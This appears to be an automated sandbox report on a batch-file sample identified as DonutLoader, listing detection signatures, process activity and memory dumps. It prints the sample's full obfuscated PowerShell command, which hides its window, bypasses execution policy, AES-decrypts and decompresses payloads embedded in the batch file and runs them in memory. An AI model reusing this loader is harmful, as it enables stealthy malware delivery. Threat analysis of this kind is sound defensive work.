Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
11/05/2026, 06:29
General
- Target crypted.bat
- Size 449KB
- Sample260511-g87f1afy6k
- SHA256 d6e65a981bbaa6dbce36e07c076654da474542b180c06f2fa0d41a76c093fb1e
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\crypted.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\windowspowershell\v1.0\powershell.exe"C:\Windows\system32\windowspowershell\v1.0\powershell.exe" -w h -NoP -EP bypass -Command "function JWhhF($HBguE){ $BuSjs=New-Object System.IO.MemoryStream(,$HBguE); $pKszH=New-Object System.IO.MemoryStream; $QVWHm=New-Object System.IO.Compression.GZipStream($BuSjs, [IO.Compression.CompressionMode]::Decompress); $QVWHm.CopyTo($pKszH); $QVWHm.Dispose(); $BuSjs.Dispose(); $pKszH.Dispose(); $pKszH.ToArray();}function rnxZy($HBguE){ $GFgyM=[System.Security.Cryptography.Aes]::Create(); $GFgyM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GFgyM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GFgyM.Key=[System.Convert]::FromBase64String('P3b8w+XWvlb+xnmKZ0IX5gpqxjenZMthhOwCNx7s0ms='); $GFgyM.IV=[System.Convert]::FromBase64String('+kCZYyNRLWxH/gHcfoZbiw=='); $TnlmJ=$GFgyM.CreateDecryptor(); $vVMRk=$TnlmJ.TransformFinalBlock($HBguE, 0, $HBguE.Length); $TnlmJ.Dispose(); $GFgyM.Dispose(); $vVMRk;}function HhXJC($HBguE,$WHFAZ){ $VeLPH=[System.Reflection.Assembly]::Load([byte[]]$HBguE); $QEYtP=$VeLPH.EntryPoint; $QEYtP.Invoke($null, $WHFAZ);}$yIFuK = 'C:\Users\Admin\AppData\Local\Temp\crypted.bat';$host.UI.RawUI.WindowTitle = $yIFuK;$VZfyP=[System.IO.File]::ReadAllText($yIFuK).Split([Environment]::NewLine);foreach ($MYBKT in $VZfyP) { if ($MYBKT.StartsWith('gTUwHhAwMtNdExrcOdcv')) { $aQvps=$MYBKT.Substring(20); break; }}$HzcLp=[string[]]$aQvps.Split('\');$LSNXi=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[0].Replace('#', '/').Replace('@', 'A'))));$zEXWX=JWhhF (rnxZy ([Convert]::FromBase64String($HzcLp[1].Replace('#', '/').Replace('@', 'A'))));HhXJC $LSNXi $null;HhXJC $zEXWX (,[string[]] (''));"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jmerv54f.r2o.ps1
memory/3232-11-0x0000017DEFE80000-0x0000017DEFED6000-memory.dmp
memory/3232-12-0x0000017D80000000-0x0000017D81000000-memory.dmp
memory/3232-1-0x0000017DEFBB0000-0x0000017DEFBC0000-memory.dmp
memory/3232-9-0x0000017DEFBB0000-0x0000017DEFBC0000-memory.dmp
memory/3232-10-0x0000017DEFBE0000-0x0000017DEFBE8000-memory.dmp
memory/3232-0-0x0000017DEFBB0000-0x0000017DEFBC0000-memory.dmp
memory/3232-13-0x0000017D91814000-0x0000017D91863000-memory.dmp
memory/3232-2-0x0000017DEFBF0000-0x0000017DEFC12000-memory.dmp
memory/3232-14-0x0000000140000000-0x000000014004A000-memory.dmp
memory/3232-15-0x0000017DEFBB0000-0x0000017DEFBC0000-memory.dmp
memory/3232-16-0x0000017DEFBB0000-0x0000017DEFBC0000-memory.dmp
memory/3232-17-0x0000017DEFBB0000-0x0000017DEFBC0000-memory.dmp
memory/3232-18-0x0000017DEDBC0000-0x0000017DEDBCC000-memory.dmp
memory/3232-19-0x0000017DEF8E0000-0x0000017DEF8F2000-memory.dmp